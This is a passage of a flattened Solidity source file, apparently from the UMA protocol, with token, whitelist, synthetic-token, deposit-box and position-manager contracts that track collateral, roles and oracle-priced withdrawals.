} // _transfer, _mint and _burn are the only functions where the balances are modified, so it is there that the // snapshots are updated. Note that the update happens _before_ the balance change, with the pre-modified value. // The same is true for the total supply and _mint and _burn. function _transfer(address from, address to, uint256 value) internal virtual override { _updateAccountSnapshot(from); _updateAccountSnapshot(to); super._transfer(from, to, value); } function _mint(address account, uint256 value) internal virtual override { _updateAccountSnapshot(account); _updateTotalSupplySnapshot(); super._mint(account, value); } function _burn(address account, uint256 value) internal virtual override { _updateAccountSnapshot(account); _updateTotalSupplySnapshot(); super._burn(account, value); } function _valueAt(uint256 snapshotId, Snapshots storage snapshots) private view returns (bool, uint256) { require(snapshotId > 0, "ERC20Snapshot: id is 0"); // solhint-disable-next-line max-line-length require(snapshotId <= _currentSnapshotId.current(), "ERC20Snapshot: nonexistent id"); // When a valid snapshot is queried, there are three possibilities: // a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never // created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds // to this id is the current one. // b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the // requested id, and its value is the one to return. // c) More snapshots were created after the requested one, and the queried value was later modified. There will be // no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is // larger than the requested one. // // In summary, we need to find an element in an array, returning the index of the smallest value that is larger if // it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does // exactly this. uint256 index = snapshots.ids.findUpperBound(snapshotId); if (index == snapshots.ids.length) { return (false, 0); } else { return (true, snapshots.values[index]); } } function _updateAccountSnapshot(address account) private { _updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account)); } function _updateTotalSupplySnapshot() private { _updateSnapshot(_totalSupplySnapshots, totalSupply()); } function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private { uint256 currentId = _currentSnapshotId.current(); if (_lastSnapshotId(snapshots.ids) < currentId) { snapshots.ids.push(currentId); snapshots.values.push(currentValue); } } function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) { if (ids.length == 0) { return 0; } else { return ids[ids.length - 1]; } } } contract AddressWhitelist is Ownable, Lockable { enum Status { None, In, Out } mapping(address => Status) public whitelist; address[] public whitelistIndices; event AddedToWhitelist(address indexed addedAddress); event RemovedFromWhitelist(address indexed removedAddress); /** * @notice Adds an address to the whitelist. * @param newElement the new address to add. */ function addToWhitelist(address newElement) external nonReentrant() onlyOwner { // Ignore if address is already included if (whitelist[newElement] == Status.In) { return; } // Only append new addresses to the array, never a duplicate if (whitelist[newElement] == Status.None) { whitelistIndices.push(newElement); } whitelist[newElement] = Status.In; emit AddedToWhitelist(newElement); } /** * @notice Removes an address from the whitelist. * @param elementToRemove the existing address to remove. */ function removeFromWhitelist(address elementToRemove) external nonReentrant() onlyOwner { if (whitelist[elementToRemove] != Status.Out) { whitelist[elementToRemove] = Status.Out; emit RemovedFromWhitelist(elementToRemove); } } /** * @notice Checks whether an address is on the whitelist. * @param elementToCheck the address to check. * @return True if `elementToCheck` is on the whitelist, or False. */ function isOnWhitelist(address elementToCheck) external view nonReentrantView() returns (bool) { return whitelist[elementToCheck] == Status.In; } /** * @notice Gets all addresses that are currently included in the whitelist. * @dev Note: This method skips over, but still iterates through addresses. It is possible for this call to run out * of gas if a large number of addresses have been removed. To reduce the likelihood of this unlikely scenario, we * can modify the implementation so that when addresses are removed, the last addresses in the array is moved to * the empty index. * @return activeWhitelist the list of addresses on the whitelist. */ function getWhitelist() external view nonReentrantView() returns (address[] memory activeWhitelist) { // Determine size of whitelist first uint256 activeCount = 0; for (uint256 i = 0; i < whitelistIndices.length; i++) { if (whitelist[whitelistIndices[i]] == Status.In) { activeCount++; } } // Populate whitelist activeWhitelist = new address[](activeCount); activeCount = 0; for (uint256 i = 0; i < whitelistIndices.length; i++) { address addr = whitelistIndices[i]; if (whitelist[addr] == Status.In) { activeWhitelist[activeCount] = addr; activeCount++; } } } } contract ExpandedERC20 is ExpandedIERC20, ERC20, MultiRole { enum Roles { // Can set the minter and burner. Owner, // Addresses that can mint new tokens. Minter, // Addresses that can burn tokens that address owns. Burner } /** * @notice Constructs the ExpandedERC20. * @param _tokenName The name which describes the new token. * @param _tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars. * @param _tokenDecimals The number of decimals to define token precision. */ constructor( string memory _tokenName, string memory _tokenSymbol, uint8 _tokenDecimals ) public ERC20(_tokenName, _tokenSymbol) { _setupDecimals(_tokenDecimals); _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender); _createSharedRole(uint256(Roles.Minter), uint256(Roles.Owner), new address[](0)); _createSharedRole(uint256(Roles.Burner), uint256(Roles.Owner), new address[](0)); } /** * @dev Mints `value` tokens to `recipient`, returning true on success. * @param recipient address to mint to. * @param value amount of tokens to mint. * @return True if the mint succeeded, or False. */ function mint(address recipient, uint256 value) external override onlyRoleHolder(uint256(Roles.Minter)) returns (bool) { _mint(recipient, value); return true; } /** * @dev Burns `value` tokens owned by `msg.sender`. * @param value amount of tokens to burn. */ function burn(uint256 value) external override onlyRoleHolder(uint256(Roles.Burner)) { _burn(msg.sender, value); } } contract TestnetERC20 is ERC20 { /** * @notice Constructs the TestnetERC20. * @param _name The name which describes the new token. * @param _symbol The ticker abbreviation of the name. Ideally < 5 chars. * @param _decimals The number of decimals to define token precision. */ constructor( string memory _name, string memory _symbol, uint8 _decimals ) public ERC20(_name, _symbol) { _setupDecimals(_decimals); } // Sample token information. /** * @notice Mints value tokens to the owner address. * @param ownerAddress the address to mint to. * @param value the amount of tokens to mint. */ function allocateTo(address ownerAddress, uint256 value) external { _mint(ownerAddress, value); } } contract SyntheticToken is ExpandedERC20, Lockable { /** * @notice Constructs the SyntheticToken. * @param tokenName The name which describes the new token. * @param tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars. * @param tokenDecimals The number of decimals to define token precision. */ constructor( string memory tokenName, string memory tokenSymbol, uint8 tokenDecimals ) public ExpandedERC20(tokenName, tokenSymbol, tokenDecimals) nonReentrant() {} /** * @notice Add Minter role to account. * @dev The caller must have the Owner role. * @param account The address to which the Minter role is added. */ function addMinter(address account) external nonReentrant() { addMember(uint256(Roles.Minter), account); } /** * @notice Remove Minter role from account. * @dev The caller must have the Owner role. * @param account The address from which the Minter role is removed. */ function removeMinter(address account) external nonReentrant() { removeMember(uint256(Roles.Minter), account); } /** * @notice Add Burner role to account. * @dev The caller must have the Owner role. * @param account The address to which the Burner role is added. */ function addBurner(address account) external nonReentrant() { addMember(uint256(Roles.Burner), account); } /** * @notice Removes Burner role from account. * @dev The caller must have the Owner role. * @param account The address from which the Burner role is removed. */ function removeBurner(address account) external nonReentrant() { removeMember(uint256(Roles.Burner), account); } /** * @notice Reset Owner role to account. * @dev The caller must have the Owner role. * @param account The new holder of the Owner role. */ function resetOwner(address account) external nonReentrant() { resetMember(uint256(Roles.Owner), account); } /** * @notice Checks if a given account holds the Minter role. * @param account The address which is checked for the Minter role. * @return bool True if the provided account is a Minter. */ function isMinter(address account) public view nonReentrantView() returns (bool) { return holdsRole(uint256(Roles.Minter), account); } /** * @notice Checks if a given account holds the Burner role. * @param account The address which is checked for the Burner role. * @return bool True if the provided account is a Burner. */ function isBurner(address account) public view nonReentrantView() returns (bool) { return holdsRole(uint256(Roles.Burner), account); } } contract DepositBox is FeePayer, AdministrateeInterface, ContractCreator { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; using SafeERC20 for IERC20; // Represents a single caller's deposit box. All collateral is held by this contract. struct DepositBoxData { // Requested amount of collateral, denominated in quote asset of the price identifier. // Example: If the price identifier is wETH-USD, and the `withdrawalRequestAmount = 100`, then // this represents a withdrawal request for 100 USD worth of wETH. FixedPoint.Unsigned withdrawalRequestAmount; // Timestamp of the latest withdrawal request. A withdrawal request is pending if `requestPassTimestamp != 0`. uint256 requestPassTimestamp; // Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral(). // To add or remove collateral, use _addCollateral() and _removeCollateral(). FixedPoint.Unsigned rawCollateral; } // Maps addresses to their deposit boxes. Each address can have only one position. mapping(address => DepositBoxData) private depositBoxes; // Unique identifier for DVM price feed ticker. bytes32 private priceIdentifier; // Similar to the rawCollateral in DepositBoxData, this value should not be used directly. // _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust. FixedPoint.Unsigned private rawTotalDepositBoxCollateral; // This blocks every public state-modifying method until it flips to true, via the `initialize()` method. bool private initialized; /**************************************** * EVENTS * ****************************************/ event NewDepositBox(address indexed user); event EndedDepositBox(address indexed user); event Deposit(address indexed user, uint256 indexed collateralAmount); event RequestWithdrawal(address indexed user, uint256 indexed collateralAmount, uint256 requestPassTimestamp); event RequestWithdrawalExecuted( address indexed user, uint256 indexed collateralAmount, uint256 exchangeRate, uint256 requestPassTimestamp ); event RequestWithdrawalCanceled( address indexed user, uint256 indexed collateralAmount, uint256 requestPassTimestamp ); /**************************************** * MODIFIERS * ****************************************/ modifier noPendingWithdrawal(address user) { _depositBoxHasNoPendingWithdrawal(user); _; } modifier isInitialized() { _isInitialized(); _; } /**************************************** * PUBLIC FUNCTIONS * ****************************************/ /** * @notice Construct the DepositBox. * @param _collateralAddress ERC20 token to be deposited. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _priceIdentifier registered in the DVM, used to price the ERC20 deposited. * The price identifier consists of a "base" asset and a "quote" asset. The "base" asset corresponds to the collateral ERC20 * currency deposited into this account, and it is denominated in the "quote" asset on withdrawals. * An example price identifier would be "ETH-USD" which will resolve and return the USD price of ETH. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor( address _collateralAddress, address _finderAddress, bytes32 _priceIdentifier, address _timerAddress ) public ContractCreator(_finderAddress) FeePayer(_collateralAddress, _finderAddress, _timerAddress) nonReentrant() { require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier), "Unsupported price identifier"); priceIdentifier = _priceIdentifier; } /** * @notice This should be called after construction of the DepositBox and handles registration with the Registry, which is required * to make price requests in production environments. * @dev This contract must hold the `ContractCreator` role with the Registry in order to register itself as a financial-template with the DVM. * Note that `_registerContract` cannot be called from the constructor because this contract first needs to be given the `ContractCreator` role * in order to register with the `Registry`. But, its address is not known until after deployment. */ function initialize() public nonReentrant() { initialized = true; _registerContract(new address[](0), address(this)); } /** * @notice Transfers `collateralAmount` of `collateralCurrency` into caller's deposit box. * @dev This contract must be approved to spend at least `collateralAmount` of `collateralCurrency`. * @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position. */ function deposit(FixedPoint.Unsigned memory collateralAmount) public isInitialized() fees() nonReentrant() { require(collateralAmount.isGreaterThan(0), "Invalid collateral amount"); DepositBoxData storage depositBoxData = depositBoxes[msg.sender]; if (_getFeeAdjustedCollateral(depositBoxData.rawCollateral).isEqual(0)) { emit NewDepositBox(msg.sender); } // Increase the individual deposit box and global collateral balance by collateral amount. _incrementCollateralBalances(depositBoxData, collateralAmount); emit Deposit(msg.sender, collateralAmount.rawValue); // Move collateral currency from sender to contract. collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue); } /** * @notice Starts a withdrawal request that allows the sponsor to withdraw `denominatedCollateralAmount` * from their position denominated in the quote asset of the price identifier, following a DVM price resolution. * @dev The request will be pending for the duration of the DVM vote and can be cancelled at any time. * Only one withdrawal request can exist for the user. * @param denominatedCollateralAmount the quote-asset denominated amount of collateral requested to withdraw. */ function requestWithdrawal(FixedPoint.Unsigned memory denominatedCollateralAmount) public isInitialized() noPendingWithdrawal(msg.sender) nonReentrant() { DepositBoxData storage depositBoxData = depositBoxes[msg.sender]; require(denominatedCollateralAmount.isGreaterThan(0), "Invalid collateral amount"); // Update the position object for the user. depositBoxData.withdrawalRequestAmount = denominatedCollateralAmount; depositBoxData.requestPassTimestamp = getCurrentTime(); emit RequestWithdrawal(msg.sender, denominatedCollateralAmount.rawValue, depositBoxData.requestPassTimestamp); // Every price request costs a fixed fee. Check that this user has enough deposited to cover the final fee. FixedPoint.Unsigned memory finalFee = _computeFinalFees(); require( _getFeeAdjustedCollateral(depositBoxData.rawCollateral).isGreaterThanOrEqual(finalFee), "Cannot pay final fee" ); _payFinalFees(address(this), finalFee); // A price request is sent for the current timestamp. _requestOraclePrice(depositBoxData.requestPassTimestamp); } /** * @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and subsequent DVM price resolution), * withdraws `depositBoxData.withdrawalRequestAmount` of collateral currency denominated in the quote asset. * @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested * amount exceeds the collateral in the position (due to paying fees). * @return amountWithdrawn The actual amount of collateral withdrawn. */ function executeWithdrawal() external isInitialized() fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { DepositBoxData storage depositBoxData = depositBoxes[msg.sender]; require( depositBoxData.requestPassTimestamp != 0 && depositBoxData.requestPassTimestamp <= getCurrentTime(), "Invalid withdraw request" ); // Get the resolved price or revert. FixedPoint.Unsigned memory exchangeRate = _getOraclePrice(depositBoxData.requestPassTimestamp); // Calculate denomated amount of collateral based on resolved exchange rate. // Example 1: User wants to withdraw $100 of ETH, exchange rate is $200/ETH, therefore user to receive 0.5 ETH. // Example 2: User wants to withdraw $250 of ETH, exchange rate is $200/ETH, therefore user to receive 1.25 ETH. FixedPoint.Unsigned memory denominatedAmountToWithdraw = depositBoxData.withdrawalRequestAmount.div( exchangeRate ); // If withdrawal request amount is > collateral, then withdraw the full collateral amount and delete the deposit box data. if (denominatedAmountToWithdraw.isGreaterThan(_getFeeAdjustedCollateral(depositBoxData.rawCollateral))) { denominatedAmountToWithdraw = _getFeeAdjustedCollateral(depositBoxData.rawCollateral); // Reset the position state as all the value has been removed after settlement. emit EndedDepositBox(msg.sender); } // Decrease the individual deposit box and global collateral balance. amountWithdrawn = _decrementCollateralBalances(depositBoxData, denominatedAmountToWithdraw); emit RequestWithdrawalExecuted( msg.sender, amountWithdrawn.rawValue, exchangeRate.rawValue, depositBoxData.requestPassTimestamp ); // Reset withdrawal request by setting withdrawal request timestamp to 0. _resetWithdrawalRequest(depositBoxData); // Transfer approved withdrawal amount from the contract to the caller. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); } /** * @notice Cancels a pending withdrawal request. */ function cancelWithdrawal() external isInitialized() nonReentrant() { DepositBoxData storage depositBoxData = depositBoxes[msg.sender]; require(depositBoxData.requestPassTimestamp != 0, "No pending withdrawal"); emit RequestWithdrawalCanceled( msg.sender, depositBoxData.withdrawalRequestAmount.rawValue, depositBoxData.requestPassTimestamp ); // Reset withdrawal request by setting withdrawal request timestamp to 0. _resetWithdrawalRequest(depositBoxData); } /** * @notice `emergencyShutdown` and `remargin` are required to be implemented by all financial contracts and exposed to the DVM, but * because this is a minimal demo they will simply exit silently. */ function emergencyShutdown() external override isInitialized() nonReentrant() { return; } /** * @notice Same comment as `emergencyShutdown`. For the sake of simplicity, this will simply exit silently. */ function remargin() external override isInitialized() nonReentrant() { return; } /** * @notice Accessor method for a user's collateral. * @dev This is necessary because the struct returned by the depositBoxes() method shows * rawCollateral, which isn't a user-readable value. * @param user address whose collateral amount is retrieved. * @return the fee-adjusted collateral amount in the deposit box (i.e. available for withdrawal). */ function getCollateral(address user) external view nonReentrantView() returns (FixedPoint.Unsigned memory) { return _getFeeAdjustedCollateral(depositBoxes[user].rawCollateral); } /** * @notice Accessor method for the total collateral stored within the entire contract. * @return the total fee-adjusted collateral amount in the contract (i.e. across all users). */ function totalDepositBoxCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory) { return _getFeeAdjustedCollateral(rawTotalDepositBoxCollateral); } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // Requests a price for `priceIdentifier` at `requestedTime` from the Oracle. function _requestOraclePrice(uint256 requestedTime) internal { OracleInterface oracle = _getOracle(); oracle.requestPrice(priceIdentifier, requestedTime); } // Ensure individual and global consistency when increasing collateral balances. Returns the change to the position. function _incrementCollateralBalances( DepositBoxData storage depositBoxData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _addCollateral(depositBoxData.rawCollateral, collateralAmount); return _addCollateral(rawTotalDepositBoxCollateral, collateralAmount); } // Ensure individual and global consistency when decrementing collateral balances. Returns the change to the // position. We elect to return the amount that the global collateral is decreased by, rather than the individual // position's collateral, because we need to maintain the invariant that the global collateral is always // <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn. function _decrementCollateralBalances( DepositBoxData storage depositBoxData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _removeCollateral(depositBoxData.rawCollateral, collateralAmount); return _removeCollateral(rawTotalDepositBoxCollateral, collateralAmount); } function _resetWithdrawalRequest(DepositBoxData storage depositBoxData) internal { depositBoxData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0); depositBoxData.requestPassTimestamp = 0; } function _depositBoxHasNoPendingWithdrawal(address user) internal view { require(depositBoxes[user].requestPassTimestamp == 0, "Pending withdrawal"); } function _isInitialized() internal view { require(initialized, "Uninitialized contract"); } function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } function _getOracle() internal view returns (OracleInterface) { return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } // Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request. function _getOraclePrice(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory) { OracleInterface oracle = _getOracle(); require(oracle.hasPrice(priceIdentifier, requestedTime), "Unresolved oracle price"); int256 oraclePrice = oracle.getPrice(priceIdentifier, requestedTime); // For simplicity we don't want to deal with negative prices. if (oraclePrice < 0) { oraclePrice = 0; } return FixedPoint.Unsigned(uint256(oraclePrice)); } // `_pfc()` is inherited from FeePayer and must be implemented to return the available pool of collateral from // which fees can be charged. For this contract, the available fee pool is simply all of the collateral locked up in the // contract. function _pfc() internal virtual override view returns (FixedPoint.Unsigned memory) { return _getFeeAdjustedCollateral(rawTotalDepositBoxCollateral); } } contract ExpiringMultiPartyCreator is ContractCreator, Testable, Lockable { using FixedPoint for FixedPoint.Unsigned; /**************************************** * EMP CREATOR DATA STRUCTURES * ****************************************/ struct Params { uint256 expirationTimestamp; address collateralAddress; bytes32 priceFeedIdentifier; string syntheticName; string syntheticSymbol; FixedPoint.Unsigned collateralRequirement; FixedPoint.Unsigned disputeBondPct; FixedPoint.Unsigned sponsorDisputeRewardPct; FixedPoint.Unsigned disputerDisputeRewardPct; FixedPoint.Unsigned minSponsorTokens; uint256 withdrawalLiveness; uint256 liquidationLiveness; address excessTokenBeneficiary; } // - Address of TokenFactory to pass into newly constructed ExpiringMultiParty contracts address public tokenFactoryAddress; event CreatedExpiringMultiParty(address indexed expiringMultiPartyAddress, address indexed deployerAddress); /** * @notice Constructs the ExpiringMultiPartyCreator contract. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _tokenFactoryAddress ERC20 token factory used to deploy synthetic token instances. * @param _timerAddress Contract that stores the current time in a testing environment. */ constructor( address _finderAddress, address _tokenFactoryAddress, address _timerAddress ) public ContractCreator(_finderAddress) Testable(_timerAddress) nonReentrant() { tokenFactoryAddress = _tokenFactoryAddress; } /** * @notice Creates an instance of expiring multi party and registers it within the registry. * @param params is a `ConstructorParams` object from ExpiringMultiParty. * @return address of the deployed ExpiringMultiParty contract. */ function createExpiringMultiParty(Params memory params) public nonReentrant() returns (address) { address derivative = ExpiringMultiPartyLib.deploy(_convertParams(params)); _registerContract(new address[](0), address(derivative)); emit CreatedExpiringMultiParty(address(derivative), msg.sender); return address(derivative); } /**************************************** * PRIVATE FUNCTIONS * ****************************************/ // Converts createExpiringMultiParty params to ExpiringMultiParty constructor params. function _convertParams(Params memory params) private view returns (ExpiringMultiParty.ConstructorParams memory constructorParams) { // Known from creator deployment. constructorParams.finderAddress = finderAddress; constructorParams.tokenFactoryAddress = tokenFactoryAddress; constructorParams.timerAddress = timerAddress; // Enforce configuration constraints. require(bytes(params.syntheticName).length != 0, "Missing synthetic name"); require(bytes(params.syntheticSymbol).length != 0, "Missing synthetic symbol"); require(params.withdrawalLiveness != 0, "Withdrawal liveness cannot be 0"); require(params.liquidationLiveness != 0, "Liquidation liveness cannot be 0"); require(params.excessTokenBeneficiary != address(0), "Token Beneficiary cannot be 0x0"); require(params.expirationTimestamp > now, "Invalid expiration time"); _requireWhitelistedCollateral(params.collateralAddress); // We don't want EMP deployers to be able to intentionally or unintentionally set // liveness periods that could induce arithmetic overflow, but we also don't want // to be opinionated about what livenesses are "correct", so we will somewhat // arbitrarily set the liveness upper bound to 100 years (5200 weeks). In practice, liveness // periods even greater than a few days would make the EMP unusable for most users. require(params.withdrawalLiveness < 5200 weeks, "Withdrawal liveness too large"); require(params.liquidationLiveness < 5200 weeks, "Liquidation liveness too large"); // Input from function call. constructorParams.expirationTimestamp = params.expirationTimestamp; constructorParams.collateralAddress = params.collateralAddress; constructorParams.priceFeedIdentifier = params.priceFeedIdentifier; constructorParams.syntheticName = params.syntheticName; constructorParams.syntheticSymbol = params.syntheticSymbol; constructorParams.collateralRequirement = params.collateralRequirement; constructorParams.disputeBondPct = params.disputeBondPct; constructorParams.sponsorDisputeRewardPct = params.sponsorDisputeRewardPct; constructorParams.disputerDisputeRewardPct = params.disputerDisputeRewardPct; constructorParams.minSponsorTokens = params.minSponsorTokens; constructorParams.withdrawalLiveness = params.withdrawalLiveness; constructorParams.liquidationLiveness = params.liquidationLiveness; constructorParams.excessTokenBeneficiary = params.excessTokenBeneficiary; } } contract PricelessPositionManager is FeePayer, AdministrateeInterface { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; using SafeERC20 for IERC20; using SafeERC20 for ExpandedIERC20; /**************************************** * PRICELESS POSITION DATA STRUCTURES * ****************************************/ // Stores the state of the PricelessPositionManager. Set on expiration, emergency shutdown, or settlement. enum ContractState { Open, ExpiredPriceRequested, ExpiredPriceReceived } ContractState public contractState; // Represents a single sponsor's position. All collateral is held by this contract. // This struct acts as bookkeeping for how much of that collateral is allocated to each sponsor. struct PositionData { FixedPoint.Unsigned tokensOutstanding; // Tracks pending withdrawal requests. A withdrawal request is pending if `withdrawalRequestPassTimestamp != 0`. uint256 withdrawalRequestPassTimestamp; FixedPoint.Unsigned withdrawalRequestAmount; // Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral(). // To add or remove collateral, use _addCollateral() and _removeCollateral(). FixedPoint.Unsigned rawCollateral; // Tracks pending transfer position requests. A transfer position request is pending if `transferPositionRequestPassTimestamp != 0`. uint256 transferPositionRequestPassTimestamp; } // Maps sponsor addresses to their positions. Each sponsor can have only one position. mapping(address => PositionData) public positions; // Keep track of the total collateral and tokens across all positions to enable calculating the // global collateralization ratio without iterating over all positions. FixedPoint.Unsigned public totalTokensOutstanding; // Similar to the rawCollateral in PositionData, this value should not be used directly. // _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust. FixedPoint.Unsigned public rawTotalPositionCollateral; // Synthetic token created by this contract. ExpandedIERC20 public tokenCurrency; // Unique identifier for DVM price feed ticker. bytes32 public priceIdentifier; // Time that this contract expires. Should not change post-construction unless an emergency shutdown occurs. uint256 public expirationTimestamp; // Time that has to elapse for a withdrawal request to be considered passed, if no liquidations occur. // !!Note: The lower the withdrawal liveness value, the more risk incurred by the contract. // Extremely low liveness values increase the chance that opportunistic invalid withdrawal requests // expire without liquidation, thereby increasing the insolvency risk for the contract as a whole. An insolvent // contract is extremely risky for any sponsor or synthetic token holder for the contract. uint256 public withdrawalLiveness; // Minimum number of tokens in a sponsor's position. FixedPoint.Unsigned public minSponsorTokens; // The expiry price pulled from the DVM. FixedPoint.Unsigned public expiryPrice; // The excessTokenBeneficiary of any excess tokens added to the contract. address public excessTokenBeneficiary; /**************************************** * EVENTS * ****************************************/ event RequestTransferPosition(address indexed oldSponsor); event RequestTransferPositionExecuted(address indexed oldSponsor, address indexed newSponsor); event RequestTransferPositionCanceled(address indexed oldSponsor); event Deposit(address indexed sponsor, uint256 indexed collateralAmount); event Withdrawal(address indexed sponsor, uint256 indexed collateralAmount); event RequestWithdrawal(address indexed sponsor, uint256 indexed collateralAmount); event RequestWithdrawalExecuted(address indexed sponsor, uint256 indexed collateralAmount); event RequestWithdrawalCanceled(address indexed sponsor, uint256 indexed collateralAmount); event PositionCreated(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount); event NewSponsor(address indexed sponsor); event EndedSponsorPosition(address indexed sponsor); event Redeem(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount); event ContractExpired(address indexed caller); event SettleExpiredPosition( address indexed caller, uint256 indexed collateralReturned, uint256 indexed tokensBurned ); event EmergencyShutdown(address indexed caller, uint256 originalExpirationTimestamp, uint256 shutdownTimestamp); /**************************************** * MODIFIERS * ****************************************/ modifier onlyPreExpiration() { _onlyPreExpiration(); _; } modifier onlyPostExpiration() { _onlyPostExpiration(); _; } modifier onlyCollateralizedPosition(address sponsor) { _onlyCollateralizedPosition(sponsor); _; } // Check that the current state of the pricelessPositionManager is Open. // This prevents multiple calls to `expire` and `EmergencyShutdown` post expiration. modifier onlyOpenState() { _onlyOpenState(); _; } modifier noPendingWithdrawal(address sponsor) { _positionHasNoPendingWithdrawal(sponsor); _; } /** * @notice Construct the PricelessPositionManager * @param _expirationTimestamp unix timestamp of when the contract will expire. * @param _withdrawalLiveness liveness delay, in seconds, for pending withdrawals. * @param _collateralAddress ERC20 token used as collateral for all positions. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _priceIdentifier registered in the DVM for the synthetic. * @param _syntheticName name for the token contract that will be deployed. * @param _syntheticSymbol symbol for the token contract that will be deployed. * @param _tokenFactoryAddress deployed UMA token factory to create the synthetic token. * @param _minSponsorTokens minimum amount of collateral that must exist at any time in a position. * @param _timerAddress Contract that stores the current time in a testing environment. * @param _excessTokenBeneficiary Beneficiary to which all excess token balances that accrue in the contract can be * sent. * Must be set to 0x0 for production environments that use live time. */ constructor( uint256 _expirationTimestamp, uint256 _withdrawalLiveness, address _collateralAddress, address _finderAddress, bytes32 _priceIdentifier, string memory _syntheticName, string memory _syntheticSymbol, address _tokenFactoryAddress, FixedPoint.Unsigned memory _minSponsorTokens, address _timerAddress, address _excessTokenBeneficiary ) public FeePayer(_collateralAddress, _finderAddress, _timerAddress) nonReentrant() { require(_expirationTimestamp > getCurrentTime(), "Invalid expiration in future"); require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier), "Unsupported price identifier"); expirationTimestamp = _expirationTimestamp; withdrawalLiveness = _withdrawalLiveness; TokenFactory tf = TokenFactory(_tokenFactoryAddress); tokenCurrency = tf.createToken(_syntheticName, _syntheticSymbol, 18); minSponsorTokens = _minSponsorTokens; priceIdentifier = _priceIdentifier; excessTokenBeneficiary = _excessTokenBeneficiary; } /**************************************** * POSITION FUNCTIONS * ****************************************/ /** * @notice Requests to transfer ownership of the caller's current position to a new sponsor address. * Once the request liveness is passed, the sponsor can execute the transfer and specify the new sponsor. * @dev The liveness length is the same as the withdrawal liveness. */ function requestTransferPosition() public onlyPreExpiration() nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require(positionData.transferPositionRequestPassTimestamp == 0, "Pending transfer"); // Make sure the proposed expiration of this request is not post-expiry. uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness); require(requestPassTime < expirationTimestamp, "Request expires post-expiry"); // Update the position object for the user. positionData.transferPositionRequestPassTimestamp = requestPassTime; emit RequestTransferPosition(msg.sender); } /** * @notice After a passed transfer position request (i.e., by a call to `requestTransferPosition` and waiting * `withdrawalLiveness`), transfers ownership of the caller's current position to `newSponsorAddress`. * @dev Transferring positions can only occur if the recipient does not already have a position. * @param newSponsorAddress is the address to which the position will be transferred. */ function transferPositionPassedRequest(address newSponsorAddress) public onlyPreExpiration() noPendingWithdrawal(msg.sender) nonReentrant() { require( _getFeeAdjustedCollateral(positions[newSponsorAddress].rawCollateral).isEqual( FixedPoint.fromUnscaledUint(0) ), "Sponsor already has position" ); PositionData storage positionData = _getPositionData(msg.sender); require( positionData.transferPositionRequestPassTimestamp != 0 && positionData.transferPositionRequestPassTimestamp <= getCurrentTime(), "Invalid transfer request" ); // Reset transfer request. positionData.transferPositionRequestPassTimestamp = 0; positions[newSponsorAddress] = positionData; delete positions[msg.sender]; emit RequestTransferPositionExecuted(msg.sender, newSponsorAddress); emit NewSponsor(newSponsorAddress); emit EndedSponsorPosition(msg.sender); } /** * @notice Cancels a pending transfer position request. */ function cancelTransferPosition() external onlyPreExpiration() nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require(positionData.transferPositionRequestPassTimestamp != 0, "No pending transfer"); emit RequestTransferPositionCanceled(msg.sender); // Reset withdrawal request. positionData.transferPositionRequestPassTimestamp = 0; } /** * @notice Transfers `collateralAmount` of `collateralCurrency` into the specified sponsor's position. * @dev Increases the collateralization level of a position after creation. This contract must be approved to spend * at least `collateralAmount` of `collateralCurrency`. * @param sponsor the sponsor to credit the deposit to. * @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position. */ function depositTo(address sponsor, FixedPoint.Unsigned memory collateralAmount) public onlyPreExpiration() noPendingWithdrawal(sponsor) fees() nonReentrant() { require(collateralAmount.isGreaterThan(0), "Invalid collateral amount"); PositionData storage positionData = _getPositionData(sponsor); // Increase the position and global collateral balance by collateral amount. _incrementCollateralBalances(positionData, collateralAmount); emit Deposit(sponsor, collateralAmount.rawValue); // Move collateral currency from sender to contract. collateralCurrency.safeTransferFrom(msg.sender, address(this), 